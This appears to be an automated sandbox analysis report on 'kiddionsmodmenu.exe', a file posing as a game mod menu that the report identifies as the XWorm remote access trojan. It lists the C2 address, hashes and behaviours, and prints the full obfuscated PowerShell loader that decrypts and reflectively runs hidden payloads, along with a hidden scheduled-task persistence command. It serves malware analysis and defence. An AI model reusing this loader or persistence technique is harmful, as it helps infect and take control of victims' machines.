Resubmissions

14/05/2024, 11:20

240514-nfry6sdf73 10

14/05/2024, 11:02

240514-m44r7sch4w 10

Analysis

  • max time kernel
    93s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/05/2024, 11:20

General

  • Target

    kiddionsmodmenu.exe

  • Size

    386KB

  • MD5

    88e737816cc5f3e3809152c5f9dad5be

  • SHA1

    56dedf42285c74795f714dbac7782a5d0e695a97

  • SHA256

    6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

  • SHA512

    8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd

  • SSDEEP

    12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Malware Config

Extracted

Family

xworm

Version

5.0

C2

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
    "C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS4D16.tmp\XClient_Dealed.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4976
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS4D16.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:4800
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2072
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_117_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_117.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1900
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_117.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:1428
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_117.bat" "
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2852
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_117.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                6⤵
                  PID:5028
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:320
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7431.tmp.bat""
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2348
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout 3
                      8⤵
                      • Delays execution with timeout.exe
                      PID:5036

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              9751fcb3d8dc82d33d50eebe53abe314

              SHA1

              7a680212700a5d9f3ca67c81e0e243834387c20c

              SHA256

              ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

              SHA512

              54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

              Filesize

              20KB

              MD5

              52d7aa058bf67b24ba100e76de6e355b

              SHA1

              90ef844580700eefca0d198f32bc2eed6d4c0189

              SHA256

              0b97ef5c34fdd839d6c18e9bdb2d865e7f8999b172c2b2db75d3ca1c4e76ed33

              SHA512

              d5461fcfa4f561d3d7ee72aa2cd16a6a96d3ed0a9d8f1441696eb7d63c868682c7d60a06725e56adf6ec71705854e4d083f6a312e2a54346e4b1bbeda6b260a2

            • C:\Users\Admin\AppData\Local\Temp\7zS4D16.tmp\XClient_Dealed.bat

              Filesize

              152KB

              MD5

              0b426e8571f8d3e437b7a42e9b8fd808

              SHA1

              986edba4c39be9edb552284dac555e2e95f68a4a

              SHA256

              9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

              SHA512

              e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_icr35mze.okp.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\tmp7431.tmp.bat

              Filesize

              171B

              MD5

              6cebe2d22b90fa9f4a8fd9611fb7667a

              SHA1

              4425e1aff8164ca0ecc9d4b3901e797b41651bd3

              SHA256

              83bff7f5b386ac00674d8d1635bbc81065300d5b0e71edae3e074d7c50f6db10

              SHA512

              16d67b5d5af59a46b30f24bf7cb7cb891b7b20b6f558216ec9215d6000f4cafa2d4c77abf5b27827096a55c12061eaf571de99cfe8aa2996526c72bb6a8628ad

            • C:\Users\Admin\AppData\Roaming\Windows_Log_117.vbs

              Filesize

              115B

              MD5

              2f5b779643b2ce6529f05966c70f1782

              SHA1

              246b8cd3ebd3eba5ddf7a022c937716d0aa01ea9

              SHA256

              9e38525ee7745e386dcc2a36808f0f7d20b590ef07d0c8fdff509289b30f9f56

              SHA512

              109aa3e3f5ed85c45e16e4af27c6103d63c3070872587c70c431b226a3364ce31e7cc877450c9e4acc1bf6753d9862f26c928c9cf3fe7d1f4a88f8007121980f

            • memory/320-78-0x0000000007070000-0x000000000707E000-memory.dmp

              Filesize

              56KB

            • memory/320-79-0x00000000071E0000-0x000000000727C000-memory.dmp

              Filesize

              624KB

            • memory/320-81-0x0000000007D80000-0x0000000007E12000-memory.dmp

              Filesize

              584KB

            • memory/1900-42-0x00000000077D0000-0x0000000007802000-memory.dmp

              Filesize

              200KB

            • memory/1900-57-0x0000000007B80000-0x0000000007B91000-memory.dmp

              Filesize

              68KB

            • memory/1900-56-0x0000000007C10000-0x0000000007CA6000-memory.dmp

              Filesize

              600KB

            • memory/1900-55-0x00000000079E0000-0x00000000079EA000-memory.dmp

              Filesize

              40KB

            • memory/1900-54-0x0000000007820000-0x00000000078C3000-memory.dmp

              Filesize

              652KB

            • memory/1900-53-0x00000000077B0000-0x00000000077CE000-memory.dmp

              Filesize

              120KB

            • memory/1900-43-0x000000006FBD0000-0x000000006FC1C000-memory.dmp

              Filesize

              304KB

            • memory/2072-11-0x0000000006060000-0x00000000060C6000-memory.dmp

              Filesize

              408KB

            • memory/2072-23-0x0000000006710000-0x000000000672E000-memory.dmp

              Filesize

              120KB

            • memory/2072-30-0x0000000007BF0000-0x0000000007C0E000-memory.dmp

              Filesize

              120KB

            • memory/2072-31-0x0000000008D40000-0x00000000092E4000-memory.dmp

              Filesize

              5.6MB

            • memory/2072-28-0x0000000007AB0000-0x0000000007ACA000-memory.dmp

              Filesize

              104KB

            • memory/2072-27-0x0000000008110000-0x000000000878A000-memory.dmp

              Filesize

              6.5MB

            • memory/2072-26-0x0000000007A10000-0x0000000007A86000-memory.dmp

              Filesize

              472KB

            • memory/2072-25-0x0000000006CC0000-0x0000000006D04000-memory.dmp

              Filesize

              272KB

            • memory/2072-24-0x0000000006760000-0x00000000067AC000-memory.dmp

              Filesize

              304KB

            • memory/2072-29-0x0000000007BC0000-0x0000000007BC8000-memory.dmp

              Filesize

              32KB

            • memory/2072-22-0x0000000006230000-0x0000000006584000-memory.dmp

              Filesize

              3.3MB

            • memory/2072-12-0x00000000061C0000-0x0000000006226000-memory.dmp

              Filesize

              408KB

            • memory/2072-10-0x0000000005840000-0x0000000005862000-memory.dmp

              Filesize

              136KB

            • memory/2072-8-0x0000000073340000-0x0000000073AF0000-memory.dmp

              Filesize

              7.7MB

            • memory/2072-77-0x0000000073340000-0x0000000073AF0000-memory.dmp

              Filesize

              7.7MB

            • memory/2072-9-0x0000000073340000-0x0000000073AF0000-memory.dmp

              Filesize

              7.7MB

            • memory/2072-7-0x0000000005930000-0x0000000005F58000-memory.dmp

              Filesize

              6.2MB

            • memory/2072-6-0x0000000003240000-0x0000000003276000-memory.dmp

              Filesize

              216KB

            • memory/2072-5-0x000000007334E000-0x000000007334F000-memory.dmp

              Filesize

              4KB